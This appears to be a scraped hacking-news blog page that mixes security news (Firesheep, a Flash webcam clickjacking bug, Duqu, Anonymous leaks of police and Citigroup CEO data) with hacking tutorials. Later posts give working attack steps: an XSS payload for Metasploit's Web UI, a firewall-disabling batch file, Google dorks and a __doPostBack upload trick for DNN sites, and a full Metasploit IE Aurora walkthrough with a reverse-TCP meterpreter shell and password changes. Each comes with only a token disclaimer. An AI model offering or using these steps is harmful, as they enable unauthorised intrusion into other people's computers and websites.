New: session hijacking attack Now possible with Firefox Add-on ?

Today we are disclose a hack trick recently using in session hijacking. Firefox is well known Internet browser in cyber world. Some of good hackers found a way to use Firefox in hacking and Network testing. Firesheep is an extension developed by Eric Butler for the Firefox web browser. This extension sniff unencrypted cookies of certain website like ( facebook or twitter ). The extension was created as a demonstration of the security risk to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.
System Requirements:
  • Mac OS X: 10.5 or newer on an Intel processor.
  • Windows: XP or newer. Install Winpcap first.
  • Linux: Not currently supported.
  • Firefox: 3.6.12 or newer. 32-bit only. Firefox 4.x beta not supported


Download

How to use this

XSS Vulnerability Founded on Ask.com, Museum Of Paris, Decent Tools websites

Ask.com, Museum Of Paris, Decent Tools websites xss Vulnerability found by XcodeR aka Nandu .
Ask.com Vulnerable Link
http://goo.gl/eFQOI

Museum Of Paris Vulnerable Link
http://goo.gl/k2RDw

Decent Tools Vulnerable Link
http://goo.gl/tneyl

More than 10,000 Facebook account hacked by TeamSwaSTika
Another group of Hackers, self titled Team Swastika, have caused panic amongst Facebook users after releasing the details of 10,000 accounts onto popular text sharing site, Pastebin.

Pastebin, usually used to share source code, has frequently been host to a number of text files that contain the details of specific hacks by hackitivists and hacker groups.

Team Swastika is just one of these hackitivist groups but claims to be the most powerful hacking team in Nepal. They also said that next target will be Nepal Government website.
Facebook hacked account dump:
http://pastebin.com/KYsd0j5B (part1) - Removed by Pastebin
http://pastebin.com/nN5uDrQS (part2) - Removed by Pastebin

Adobe Flash bug allow spying Webcam hole

Adobe Flash bug allow spying Webcam hole


The flaw was disclosed in 2008 and can be exploited to turn on people's webcams or microphones without their knowledge. Attack involved putting the Adobe Flash Settings Manager page into an iFrame and masking it with a game, so that when the user clicked on the buttons he would actually change the settings and turn on the webcam.

Adobe is working on a fix for a Flash Player vulnerability that can be exploited via clickjacking techniques to turn on people's webcams or microphones without their knowledge.The issue was discovered by a Stanford University computer science student named Feross Aboukhadijeh who based his proof-of-concept exploit on a similar one disclosed back in 2008 by an anonymous researcher.

Once it was made public, Adobe fixed the issue by adding framebusting code to the Settings Manager page. But now, Stanford University computer science student Feross Aboukhadijeh managed to bypass the framebusting JavaScript code by simply putting the settings SWF file into the iFrame, and made the clickjacking attack possible again.

In essence this is the same 2008 vulnerability exploited through a slightly different attack vector. "I was really surprised to find out that this actually works," Aboukhadijeh said.

He said that he emailed Adobe about the problem a few weeks ago, but got no response. However, the company contacted him after the public disclosure to inform him that they are working on a fix which will be deployed on their end and won't require users to update their Flash Player installations.

Using an SWF file hosted on Adobe's servers to modify Flash Player settings instead of a local interface is something that has generated problems before. For example, privacy advocates have complained in the past that this makes clearing Local Shared Objects (LSOs), commonly known as Flash cookies, difficult and confusing.

Metasploit 4.1.0 Web UI Cross Site Scripting vulnerability

Metasploit 4.1.0 Web UI Cross Site Scripting vulnerability

The Web UI in Metasploit version 4.1.0 suffers from a stored cross site scripting vulnerability discovered by "Stefan Schurtz".

Technical Details
Login to Web UI -> Create New Project -> Project name -> '"</script><script>alert(document.cookie)</script>

Famous VPN service Proxpn compromised

Famous VPN service Proxpn compromised

proXPN is one of the famous VPN client based on OpenVPN Service, today hacked by hacked named "TurkisH-RuleZ". The Server is seems to be Compromised in this Hacking case. Compromised url is http://proxpn.com/whmcs1/downloads and Mirror of Hack is available here.

There’s something “Human” to Social Engineering !

There’s something “Human” to  Social Engineering!
At the psychological skill of Social EngineeringSocial engineering is the human side of breaking into corporate or personal pc’s to gain information. Even companies that have an authentication process, firewalls, vpn’s and network monitoring software are subject to the skill of a good social engineer.

In hacking we rely on our technical skill and in social engineering it is a game of getting your subject to tell you what you want to get into their system. Social engineering has been employed since the beginning of mankind, the art of trickery or deception for the purpose of information gathering, fraud, or in modern times, computer system access. In most cases today the social engineer never comes face to face with their target. In social engineering we exploit the attributes of the human decision making process known as “cognitive biases.”

That was the question asked by the Team of Social-engineer.org Gurus.
Which tactic works best for a scamming social engineer? Acting like an authority figure and requiring a victim to answer questions and give up sensitive information? Or acting like a nice, trustworthy person who strikes up a friendly conversation and just needs the victim to tell them a few things to help them out?

They have just released results of a several-months long poll that laid out two different scenarios of how a Social engineer might try and elicit information from a victim.

The first showed how the principle of endearment and how it may be used by a malicious social engineer. The example given was a social engineer who attempts to get strangers to engage in very personal conversation with him with little effort. Dressed very casually he grabbed a prop that he felt would endear people to him, a small sign that had a funny slogan on it. As he walked around, looking like a tourist with his prop, he was able to engage people in conversation.

"The fact is we like to deal with people who are like us, but even more powerfully we like to deal with those who LIKE us," said Christopher Hadnagy, founder of social-engineer.org and author of Social engineering: The art of human hacking. "Endearment makes a person feel liked and, in turn, like you. Endearment is used by getting on the same plane as the target, or giving them reasons to like you."

The second story involved a social engineer employing the authority principle. The social engineer walks into the office with IT tools and a clip board he mumbles how busy he is today. Then looking at the secretary he barks an order, "I was sent to check your network connectivity and I have no time as I have to do this on 25 other nodes. I need you to log in to your network share with your password as I watch to confirm you can connect."

"This works because people fear losing their jobs and there are no methods in place for an employee to port or reject without fear," explained Hadnagy. "Other methods, like carrying a clipboard, looking busy or in control, all of these give off the air of authority and few people will question it."


Interview with David Kennedy (Member @ Social-engineer.org)
Donsly: First, tell us about yourself, your experience and what you have produced in the social engineering field?
David : I'm a director of information security for a fortune 1000 company. Don't let the title fool you, being a director just means i can focus on the stuff i love which is breaking things. I have a heavy penetration testing and exploitation background dating back to the military intelligence days as well as a security consultant working with a number of fortune 500 and 1000 companies. As a penetration tester a few years back, social-engineering was a major portion of what i needed to do in order to gain access either physically or through social-engineering attacks against organizations. It's been a blast working in the security community and contributing as much as i can to open source. My philosophy in life is i love what i do and where i work and my goal is to give as much back to the security community and make them successful and help if i can. I'm one of the founders of derbycon, a security conference in louisville kentucky, creator of the social-engineer toolkit, fast-track, member of the social-engineer crew/podcast, and main blog post at http://www.secmaniac.com.

Donsly: Please explain what social engineering is and how we use social engineering?
David : Social-engineering simply put is the manipulation of human behavior to achieve some task. For us as penetration testers, social-engineering can be leveraged in multiple capacities to compromise an organization and gain access which typically circumvents the majority of security controls in place in an organization. For me, i leverage social-engineering on a regular basis to identify weaknesses within my security program and user awareness. Most organizations are spending a ton of money on the latest shiny technology that promises to fix their security problems while our humans are finding the easiest way to get in.

Donsly: What are the best ways to perform social engineering?
David : Social-engineering takes some time to learn and something that requires practice. There's no easy answer on what the best way to social-engineer a victim. When i'm going after an organization i look at what they have on the internet, who the personnel is, their language, what companies they own, and as much information i can possibly learn from open source intelligence (osint). I'll develop a pretext (my attack) based on what i learn and practice it before hand to make sure it's perfect and flawless. A lot of times leveraging social networking sites in order to learn a lot of information about my targets is beneficial and leveraging trust with people they trust can always make that little bit of a difference.

Donsly: What are the recent usages of social engineering, such as the, hbgary hack by anonymous or rsa hack ?
David : I think the most recent one would be the rsa hack where the details are still a bit vague but leveraged spear-phishing in order to target a select amount of people with a flash zero day. We've seen these attacks become more and more prevalent and something we have been preaching on the social-engineer.org podcast for a large time that these types of attacks are coming and it's going to be something really difficult to protect against.

Donsly: How did "SET (Social engineering toolkit)” come about and why did you develop it?
David : when set was first conceived chris hadnagy and i were sitting in a chat room on irc talking together and he mentioned he was starting social-engineer.org to try to bring more awareness and education to the community about social-engineering and how it relates directly to security. We started chatting and found that there really was no tool out there for social-engineering and something that was a huge gap for us as penetration testers. Out of that talk, a raw version of set was created which was really basic in nature, it had a mass mailer, some pdf exploits and that was really it. Even with its early, early release it got a ton of positive feedback and it has just grown from there. I never thought for one minute that set would become the lead open source tool in social-engineering and something that penetration testers leverage on a regular basis, it's quite impressive and i'm humbled by it.

Donsly
: Is social engineering dangerous ?
David : social-engineering is extremely dangerous and the largest threat that i see in information security to date. As mentioned before, we have a ton of technology in place that is specifically designed to stop buffer overflows (or detect them), catch malware (kind of a joke at this point), and protect our web applications. Yet our user population is still completely vulnerable and clueless on the signs of a breach. A fine balance between technology and user awareness needs to be accomplished and it'll never be 100 percent but it'll be a lot better than an uneducated user population.

Donsly: how does someone master social engineering ?
David : Social-engineering requires you to change your behavior, remove your barriers, and start to manipulate humans to do your bidding. I know that sounds awful, but use social-engineering in a positive way at your organization to see if you can affect a decision in your manner. Read and learn from studies on behavioral analysis and how humans interact with one another. Use the social-engineer.org framework to help you get the knowledge to expand on. Ultimately it's going to be yourself learning the techniques and applying them on a regular basis and be able to manipulate your own behavior to get a desired outcome from someone else.

Donsly: Give us an overview of the social engineering tools and what it offers.
David : The social-engineer toolkit (set) is an open-source python driven arsenal for penetration testers aimed at testing how well an organization can withstand a social-engineer attack. Set has a number of attack vectors specifically aimed at targeting the user population. Set aids a penetration tester in social-engineer attacks however doesn't perform it for them. It's up to the penetration tester to perform intelligence gathering and form their pretext in order to have a successful attack. Set has a number of tools and attacks including the spear phishing module, web attack vectors, teensy usb hid, wireless attack vectors, and a number of additional capabilities and features that make set a unique when it comes to social-engineering and penetration testing. Set is being used internationally by penetration testers and a critical tool to them in every capacity as social-engineering is a highly important attack vector to leverage during normal testing

After that great interview with the creator of the Social Engineering Toolkit, David Kennedy, I wondered how many readers really understand the difference in social engineering as opposed to hacking. The truth is social engineering is rarely discussed. People mostly like to talk about cracking and phreaking.
Let’s bring social engineering out of the closet and onto discussion blogs. Sharing information, learning the techniques and knowing how to protect yourself from social engineering is the best way to be skilled in this method of hacking.

Hadnagy says the poll results further enforce that humans are naturally trusting creatures. But it is that trusting attitude that has led many to being hacked.

Google Enable SSL-based searches, Will impact Google Analytic !

Google Enable SSL-based searches, Will impact Google Analytic !
According to a blog post by Google, the company is taking steps towards making search more secure for its users. Users will be redirected to https:// instead of http:// when going to do a Google search. By forcing SSL on http://google.com, all keyword data will be hidden. The company is dedicated to SSL and securing search and privacy for its signed in users. But This will restricting search terms availability and also when user will sign out, One will redirect back to Unencrypted (http://) page. The company says this won’t change reporting data for webmasters who use analytics tools too see how much traffic Google sends them.

How will this change impact Google Analytics users?
When a signed in user visits your site from an organic Google search, all web analytics services, including Google Analytics, will continue to recognize the visit as Google “organic” search, but will no longer report the query terms that the user searched on to reach your site. Keep in mind that the change will affect only a minority of your traffic. You will continue to see aggregate query data with no change, including visits from users who aren’t signed in and visits from Google “cpc”. According to Google Analytic Official Blog.

Google had this to say on its blog:
We’ve worked hard over the past few years to increase our services’ use of an encryption protocol called SSL, as well as encouraging the industry to adopt stronger security standards. For example, we made SSL the default setting in Gmail in January 2010 and introduced an encrypted search service located at https://encrypted.google.com four months later. Other prominent web companies have also added SSL support in recent months.


As search becomes an increasingly customized experience, we recognize the growing importance of protecting the personalized search results we deliver. As a result, we’re enhancing our default search experience for signed-in users. Over the next few weeks, many of you will find yourselves redirected to https://www.google.com (note the extra “s”) when you’re signed in to your Google Account. This change encrypts your search queries and Google’s results page. This is especially important when you’re using an unsecured Internet connection, such as a WiFi hotspot in an Internet cafe. You can also navigate to https://www.google.com directly if you’re signed out or if you don’t have a Google Account.

iPad 2 iOS 5 Lock Screen Bypass Vulnerability [Video Demonstration]

iPad 2 iOS 5 Lock Screen Bypass Vulnerability
Marc Gurman at 9to5Mac has discovered a vulnerability on the iPad that allows for a limited bypass of the device’s lockscreen. Anyone with an iPad Smart Cover can gain access to the previously-open app (or the home screen if no app was open).

By holding the power button to bring up the ‘Power Off’ screen, closing the smart cover, re-opening it, and clicking cancel, the attacker will be dropped into the screen that was open before the iPad was locked. If the attacker gets dropped into the home screen, then they’ll be able to see the installed apps, but won’t be able to open anything. If Safari or Mail (or any other app) was the open when the device was locked, then the attacker would have access to that app.

From a locked iPad 2:

1) Lock a password protected iPad 2
2) Hold down power button until iPad 2 reaches turn off slider
3) Close Smart Cover
4) Open Smart Cover
5) Click cancel on the bottom of the screen




This isn’t the first security issue Apple has experienced since rolling out iOS 5. On the brand new iPhone 4S it has been discovered you can use Siri when a device is locked. Even if a passcode is required, Siri doesn’t care and allows you to carry out functions such as sending email and text messages.

Protection Against the iPad 2 Lock Screen Bypass:
For the time being, iPad 2 users are encouraged to disable the “Smart Cover unlocking” feature found in Settings > General.

Million ASP.Net web sites affected with mass SQL injection attack

Million ASP.Net web sites affected with mass SQL injection attack
Hackers are in the midst of a massively successful SQL injection attack targeting websites built on Microsoft's ASP.Net platform. About 180,000 pages have been affected so far, security researchers say.

Attackers have planted malicious JavaScript on ASP.Net sites that causes the browser to load an iframe with one of two remote sites: www3.strongdefenseiz.in and www2.safetosecurity.rr.nu, according to security researchers at Armorize who discovered the attack. From there, the iframe attempts to plant malware on the visitor's PC via a number of browser drive-by exploits.

A drive-by exploit will load malware without a visitor's knowledge or participation (no need to open a file or click on a link). Fortunately, the attackers are using known exploits, with patches available, so the attack can only be successful if a visitor is using an outdated, unpatched browser without the latest version of Adobe PDF or Adobe Flash or Java.

Unfortunately, Armorize says that only a few of the most popular antivirus vendors can detect the dropped malware, according to the Virustotal web site. Virtustotal is a security monitoring service offered by Hispasec Sistemas that analyzes suspicious files and URLs. At this time, it says that six antivirus packages out of the 43 it monitors can detect this latest SQL injection attack.

These are AntiVir, ByteHero, Fortinet, Jiangmin, McAfee and McAfee-GW-Edition.The attack is targeting users whose default browser language is English, French, German, Italian, Polish or Breton. One of the sites accessed via the iframe is in Russia, the other is in the United States and is hosted by HostForWeb.com, Armorize says. Some of the planted malware accesses a site hosted in the United States, too.

Users are advised to take advantage of NoScript in order to protect themselves from this, and many other Web based threats.

Stuxnet's Son "Duqu" Removal Tool released by Bitdefender

Stuxnet's Son "Duqu" Removal Tool released by Bitdefender

Rootkit.Duqu is a new e-threat that combines the technology of the military-grade Stuxnet with an advanced keylogger and backdoor application. Due to its rootkit technology, the piece of malware can stay hidden from the user, the operating system’s defense mechanism and even from regular antivirus utilities.Just like its predecessor – the Stuxnet rootkit - Rootkit.Duqu.A is digitally signed with a stolen digital certificate that has been revoked in the meantime. This allows it to install itself on both 32- and 64-bit operating systems on Windows platforms ranging from Windows XP to Windows 7. The Duqu rootkit runs on the computer for 36 days and collects any kind of information entered via the keyboard, including passwords, e-mail or IM conversations. After the “surveillance” period ends, the rootkit gracefully removes itself from the system, along with the keylogger component.

Rootkit malware is extremely difficult to detect, as it manages to subvert the operating system before it is fully loaded. Rootkit removal can be challenging even for some antivirus solutions, so manual removal is not recommended. We offer a free and fully automated removal tool that takes care of everything for you.

You only have to download and run it on the system, then reboot the PC if infection is found. Here is a complete rundown of the steps you need to take:
1. Download the Duqu_Removal_Tool.zip (.zip file), then double-click on it chose "Extract all files..." from the File menu, and follow the wizard's instructions. You can use any other decompression utility, like WinZip.
2. Navigate to the folder you have extracted the tool in, find the file called Duqu_Removal_tool.exe and double-click on it. Press the Scan button and let the removal tool scan your PC.
3. If you have Windows Vista with User Access Control enabled, or if you are running as a restricted user in Windows XP, right click the Duqu_Removal_tool.exe program and choose "Run as Administrator". You will be prompted to enter credentials for an admin account.
4. Press the OK button when the removal tool asks for a reboot.
5. If you don't already have permanent antivirus protection or if your current antivirus has failed you, consider using the advanced protection tool provided by BitDefender.
Download Rootkit.Duqu.A Removal Tool

Beware - Gaddafi malware on Internet

Beware - Gaddafi malware on Internet

As is not unusual when big news breaks, malware authors try to take advantage of the situation.A global computer virus that hides in an email about Gaddafi's death has been detected by internet security firm Sophos. The malware was caught in its worldwide network of spam traps.

The email below was sent to a mailing list that receives information pertaining to the Uighur people. The mail appears to have been sent from Korea.

Malicious hackers have spammed out an attack posing as pictures of Gaddafi's death, tricking users into believing that they came from the AFP news agency and are being forwarded by a fellow internet user.

As unlikely as the legitimacy of these emails may seem - in this case, the latest photos being forwarded to you in an email attachment - the news is often just too interesting for people to ignore.

Internet users are advised to avoid opening the email and updating or applying their security settings.

Occupy Wall Street : Anonymous Hackers Publish Law Enforcement Data

Occupy Wall Street : Anonymous Hackers Publish Law Enforcement Data


Anonymous, the Internet “hactivist” group, today, apparently in support of the Occupy Wall Street protest movement, hacked into several different police databases and leaked sensitive personal data, among them passwords, names, addresses, phone numbers and social security numbers from the Boston Police Patrolmens’ Association (BPPA) and Birmingham, Alabama Police Department, according to several reports. Additionally, Anonymous claims to have hacked the International Association of Chiefs of Police, and offers the above image as proof.

A press release by Anonymous said that the hack was timed to the IACP meeting as part of a "Day of Action Against Police Brutality." Another document appears to be about 1,000 user names and passwords belonging to the Boston Patrolmans' Association.

In the video below, you can hear a hacker call the Baldwin country sheriff’s office to say “your website has been defaced,” and admit to the hack. The conversation was uploaded to YouTube. The call, made over Skype, comes from a British man who claims he hacked the website because he was bored, which goes against the wording of Anonymous’ press release. Yet another example of how the collective is relatively disjointed.

Stop Google Tracing Your Browsing History

===> Secure Your Searching <===
In our daily life we often used GOOGLE to search any information regarding any fields.
It is wide search engine having the No.1 ranking.
But you know whatever we search in google is traced by google itself.
But some of the people rarely knows this fact.
Now How you can stop GOOGLE to trace our searching history.
Step 1 : Just Login in Google account.
step 2 : Now Click Here!
Step 3 : This page lists out the history search you recently made. these lists divided into categories.
Step 4 : Now Click on “pause” to stops Google from recording your history.
Step 5 : Then, Click on the “Trends” to know sites you visit most,Top queries,Top sites,Top clicks on links.
Step 6 : Then Click on “Bookmark” to enables you to store the bookmark online , and it can access on anywhere.
Step 7 : Its Done :

Hackers Leak Citigroup CEO’s Personal Data

Addresses, phone numbers and other personal data of Citigroup CEO Vikram Pandit have been leaked by hacker group CabinCr3w after two dozen Occupy Wall Street protesters were arrested at a Citibank location.
In retaliation for the arrest of protesters who tried to close their Citibank accounts, hackers sympathetic to the Occupy Wall Street movement have released personal information about Citigroup Chief Executive Officer Vikram Pandit.
Data, including cell and office phone numbers, an email address, two home addresses, legal and financial information and information about Pandit’s family, were all posted online by members of a hacker group known as CabinCr3w. The group affiliates itself with the loose-knit group Anonymous, which has a long history of high-profile hacks and data leaks.
Anonymous members played a key role in promoting the original Occupy Wall Street protest, which began on September 17. A month later, the Occupy movement has spread to more than 900 cities around the world, primarily through the use of Twitter and other social media and Internet properties.
“During Occupy Wall street, protesters had made way to CitiBank to withdraw their funds and close their accounts,” wrote CabinCr3w on their Tumblr blog. “They were met with strong police prescence [sic] and arrested. We as american citizens MUST have full control over our money and lively hood. When this is taken away from us, what else do we have? So the CEO of CitiBank has blindly jumped into the sights of the CabinCr3w…”
This weekend, a small group of Occupy Wall Street protesters moved their fight to a Citibank in downtown Manhattan, where they attempted to close their bank accounts as an act of protest. According to the Wall Street Journal, 24 people in the group were arrested for criminal trespassing after they refused to leave the Citibank branch.
“A large amount of protesters entered our branch at 555 La Guardia Place around 2:00 PM today,” said Citigroup in a prepared statement. “They were very disruptive and refused to leave after being repeatedly asked, causing our staff to call 911. The Police asked the branch staff to close the branch until the protesters could be removed. Only one person asked to close an account and was accommodated.”

Security Firm Finds Hackers Forums Who Offer n00b Hackers Training

IT security experts have long loved to troll through hacker forums to gather intelligence on emerging threats and even (as in the ill-fated case of HBGary Federal CEO Aaron Barr) try to profile the hackers themselves. But as a report from IT security firm Imperva shows, many of the so-called hacker portals out there are more hangouts for newbie hackers (and possibly a few budding FBI informants) looking at how to get started in the game.

In its fifth entry of its series of “Hacker Intelligence Initiative” monthly trend reports, Imperva provided a detailed analysis of the types of conversations and information being passed around in one of these portals. By monitoring conversations on these public sites, the report suggests, IT professionals can get clues on what vulnerabilities hackers are attacking, technical insight into their tools and techniques, and a sense of the type of data being bought and sold. There may also be a hint or two about the direction to look in for future attacks (hint: it’s mobile devices).
The main flaw with the report is that it chose just one site to analyze: Hack Forums, a Web bulletin board that Imperva describes as “one of the largest-known hacker forums with roughly 250,000 members.” As a public bulletin board, Hack Forums is by its nature awash mostly in those new to hacking, those eager to share and show off their skills, and a fair number of security researchers and journalists. And if you believe a report from the Guardian from June, at least a quarter of the audience is FBI informants.
For the most part, the content Imperva found largely matches what you’d expect from a site that caters to beginners. More than two thirds of the content on Hacker Forum’s boards is centered around three topics that resonate with entry-level hackers: “beginner hacking” (25 percent), hacking tools and programs (22 percent) and website and forum hacking (21 percent). Even in topics that might fall outside of the beginner class, however, the the content of the site’s discussion threads is often largely of inexperienced users’ requests for information or shortcuts to bigger fish. For example, a recent thread on Facebook consisted of a post asking how to hack a Facebook accounts, followed by a long string of people telling them that it can’t be done, and a few people posting sales pitches for tools vaguely related to the request.
All of this content, the report claims, helps train armies of fresh recruits for various hacker groups, who recruit through the forum. And there are some very well-crafted tutorials on Hack Forum, including some on SQL injection attacks that should be required reading for LAMP Web developers. But there’s also a lot of demonstrations of teenage gamer asshattery,such as YouTube videos showing off denial-of-service attacks used to take down game servers.
The report also suggests that nestled in among the discussion chaff is a wealth of data on what sorts of attacks hackers are developing—though by the time they filter down to a public board like Hack Forum, they’re likely already in regular use by cyber-criminals and security researchers. While the most popular attack topics Imperva tracked on Hack Forum were fairly old school (denial of service [22 percent] and SQL injection [19 percent], with spam coming in a close third at 16 percent), there are a growing number of discussions about attacks for iPhone, Android, Nokia and BlackBerry. The iPhone is the biggest target of interest, with as many discussions about it as all the others combined.
The Imperva report’s authors admit that drilling down on a single forum is a somewhat limited way of getting a good picture of the hacker mind. “Though there are many forums that are small and solely focused on committing cybercrime,” the report states, “we don’t have access to these. The site we examined is not a hardcore crime site, but it’s not entirely softcore either. New hackers come to this site to learn and on the other hand more experienced hackers teach to gain ‘street cred’ and recognition. In the past, this forum has helped security researchers identify illicit cyber activity. Typically, once hackers have gained enough of a reputation they go to a more hardcore, by-invite-only forum.”
One of the ways that some hackers are apparently trying to build their reputation is through a social networking and game site called RankMyHack.com. The site, which was alleged to have been set up by a security researcher, awards points to hackers when they provide proof of responsibility for a site hack or defacement. Register with your e-mail address, and you can start submitting your hacks under your chosen hacker tag to push your way up the leaderboard. The alleged top hack posted on RankMyHack’s homepage is of the Huffington Post. There are also point bounties posted for taking down sites of organizations like the Ku Klux Klan, as well as any .mil, .edu or .gov site.

Study claims people losing patience with firms that endanger their data

It looks as the great British public is finally losing its patience with those businesses that it views as endangering their personal data, as a survey from LogRhythm claims to show that many people are now aware of the need for data disclosure legislation.

According to the research – which took in responses from 2,000 people – many users now have an overwhelming desire for data loss disclosure laws.
Researchers found that 80% of respondents said that they now have reservations about trusting organizations to keep their data safe from hackers.
In a similar survey, conducted on LogRhythm’s behalf back in November 2010, only 63% were concerned about this issue – an increase of delta 27% Infosecurity notes.
Further comparing the two sets of research, while last year 17% of respondents were adamant they would never have anything to do with organizations that had lost data as a result of cybercrime, in 2011 this figure rose to 26%.
A further 61% of this year’s respondents, meanwhile, said they would try to avoid interacting with these organizations if at all possible. Just 13% stated their attitude toward a brand would be unaffected by a data loss incident.
Commenting on the figures, Ross Brewer, LogRhythm’s managing director, said that in a year that has seen an unprecedented number of high-profile data breaches, it is hardly surprising to see public opinion shift in this way.
“Organizations need to look at these findings and realize that unless data security is improved they will lose customers and the bottom line will be affected”, he said.
“November will see the European Commission publish the new version of its Data Protection Directive following a consultation that wrapped up in September 2011”, he added.
This legislation, says Brewer, will include recommendations regarding a mandatory data breach disclosure law covering public and private sector organizations.
As a result, he claims it will be much easier for the public to identify, and boycott, those organizations that are being irresponsible when it comes to data protection.
Delving into the research reveals that respondents appeared to show enthusiasm for legislation forcing organizations to publish information relating to incidents in which individual’s data is put at risk.
Seventy-two percent thought that all breaches should be publicized, while 11% were of the opinion that only breaches of a pre-determined size should be made public.
When asked more specifically about the process involved, 69% wanted to be notified immediately, 19% were happy for an investigation to take place before affected customers were notified.
Ten percent, meanwhile, thought that notification should be dependent on whether the information is of a sensitive nature, an individual’s bank details for example.
Brewer asserts that the high proportion of respondents in favor of universal and instant notification tells us a lot about the lack of trust that exists when it comes to organization’s ability to defend against cyber attacks.
“When asked if organizations are doing enough to secure customer data 81% did not believe this was the case and that more needed to be done”, he explained.
Curiously, researchers also found that the British public also seem to be largely unaware of the work of the Information Commissioner’s Office (ICO), as 64% of those questioned had not even heard of the ICO. Of those that knew of the ICO, however, only 33% thought it was doing a good job.

 

Stop Complaining About Our Web Censorship, China says


China’s long history of Internet censorship is what’s best for the public, Foreign Ministry spokeswoman Jiang Yu told reporters yesterday.

According to Reuters, which spoke with Yu in an interview published today, China believes that its “Internet management” is not only “lawful,” but is designed to “safeguard the public.”

“We are willing to work with countries and communicate with them on the development of the Internet and to work together to promote the sound development of the Internet,” Yu told Reuters and other reporters that were at the press conference. “But we do not accept using the excuse of ‘Internet freedom’ to interfere in other countries’ internal practices.” Yu’s comments were a direct response to a letter sent to China earlier this week by U.S. Ambassador to the World Trade Organization Michael Punke. According to Reuters, which obtained a copy of the letter, Punke argued that China’s Web blockade diminishes the ability for many U.S. companies to compete against China’s counterparts

Disabling A Windows Firewall Using Batch Files

guys.. this is a simple batch script that will disable the firewall on a windows computer.
simply open up notepad and copy this in:
“netsh firewall set opmode disable”
*without the quotesnow save it as disable.bat <– hint the (.bat) this makes it a batch file

now to enable the firewall again to clear your steps just use this simple batch file.

open up notepad and copy this in:

“netsh firewall set opmode enable”
*once again without the quotes

save it as enamble.bat or watever…

now another useful one, not a batch file.. just a code to type in on your cmd would be “netsh firewall show config” this shows all the configs for the firewall…

Got any problem drop ur comment here

Introduction To Reverse Engineering


Reverse engineering,software cracking, and ASM may sounds like black magic

to some of you. It does in the beginning cause we don’t know what all the code

actually means. If one reads and practices enough, it’s really not very

complicated. Reverse engineering can give you some real understanding of the

inner workings of computers. ASM is a very powerful programming language

itself as it works on the very low level and gives you better access to all the

resources.

Today we are sharing the best tuts on the Internet for starters. This series

created by lena151. Contents: 40 tuts on cracking from the very basic to the

advanced. I hope it’s going to be a very nice place to start for you.

We’re gonna continue to share more learning stuff on cracking, so keep in touch.

Further recommended readings: To get a good idea of ASM

http://101.lv/learn/asm/index.htm

http://www.drpaulcarter.com/pcasm/pcasm-book-pdf.zip

Tuts Downlad Here

Note: this is only for the educational purpose. we don’t take any responsibility for anything and for what you use this information for. I personally recommend you to open all the files in a separate isolated space.
Learn and help others to learn.

How To Get Windows 8 Interface Instantly On Your Windows 7


Windows already release, but buzz has started regarding it. We bring you an opportunity to try its desktop interface. Note that, It’s not the OS. It is just an application that gives your PC a look that resembles with widget-based look of Windows 8. You should have Windows 7 and .Net Frame v4 installed on your PC. Now, follow the steps below:

Visit this link.
Download the application ‘Mosaic Beta 1 Refresh’ (0.5Mb only).
Unzip the file
Nothing to install, just run the Mozaic application file.
When you are done, exit the application to get back to Windows 7 interface.

There are some real handy applications you can add to your Mozaic desktop. Click the add button to browse. Enjoy!

Differences Between a DoS and DDoS


DoS
A DoS Attack is a Denial of Service attack.
This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).
The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.
This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.

DDoS
A DDoS Attack is a Distributed Denial of Service Attack.
In most respects it is similar to a DoS attack but the results are much, much different.
Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.
The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.
The main difference between a DDoS attack and a DoS attack, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.
Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.

Hack a WEBSITE with DNN?

Pls read our Disclaimer


This is a really effective way of hacking a website. This way is very common and according to some researchers 10% of sites are vulnerable to this.
So to start first thing that we need is vulnerable site which can be found from the following dork :
inurl:"Fck/fcklinkgallery.aspx" (for all the sites)
inurl:"Fck/fcklinkgallery.aspx" site:{domain of site} (for specified attack)
NOW Select the third option and type following into the address bar:


javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

Now if you are lucky and site is vulnerable a upload Bar will appear from which you can upload .txt .html or pictures from your computer in to the site.

Happy Hacking!!!!

NOTE:
Haxorslodge will not be responsible for what you do with this information.Any malicious/illegal activity that you do falls completely on you because ...Technically this is just for you to test the security of your network ,site..

Hacking a Remote Computer or Web Server With Metasploit

Before continuing, read our Disclaimer

BEFORE I START LETS KNOW WHAT IS METASPLOIT
Metasploit is a Penetration testing tool by Rapid7

Download Metasploit here

Now install it.

METASPLOIT is an exploitation framEwork, written in Ruby.
It has a wide range of pre developed exploits and few usefull application like "nmap" attached with it.It was primarily developed for penetration testing but now it has come out to be must needed tool for hackers

So lets start hacking!
start msfconsole Start>Search>msfconsole
or in Linux ./msfconsole
Start by typing
Code:
help
It will show all commands.
Some stuff abOUt metasploit.

Exploits are methods by which u can get into another system
Payloads are stuff that are injected into other computers when u exploit them

What payloads can do?
They can execute commands or a special shell can function as a RAT(meterpreter).

What are encoders?
Encoders prevent detection by Anti-viruses

Okay now to the serious stuff!

in the console, u can exploit other computers, here i will show yhu aboutt the famous internet explorer Aurora hack.

#1 Windows IE Aurora
type in the following commands
Code:
msf > use exploit/windows/browser/ms10_002_aurora

msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_002_aurora) > set LHOST (your IP)

msf exploit(ms10_002_aurora) > set URIPATH /

msf exploit(ms10_002_aurora) > exploit
Now it will show like this (but with ur ip)

Code:
[*] Exploit running as background job.

[*] Started reverse handler on port 4444

[*] Local IP: http://192.168.0.151:8080/

[*] Server started.
P.S:-Server is run on Ruby on Rails so u need to portforward.Do not know how? See Here Port Forward ME!!!

Open Internet Explorer on a vulnerable machine and enter the Local IP URL(i.e the Local IP that metasploit displayed here it is http://192.168.0.151:8080/) into the browser. If the exploit succeeds, you should see a new session in the Metasploit .

Console:
Code:
[*] Sending stage (723456 bytes)

[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)
msf exploit(ie_aurora) > sessions -i 1

[*] Starting interaction with 1...
meterpreter > getuid

Server username: WINXP\PakH3X0r
now type
Code:
shell
and u can toy with that computer!!!.
P.s:- to change passwords

Code:
net user [user_name] [new_password]
You can then install RATS or ur favorite tool..

How to protect your privacy while browsing the internet


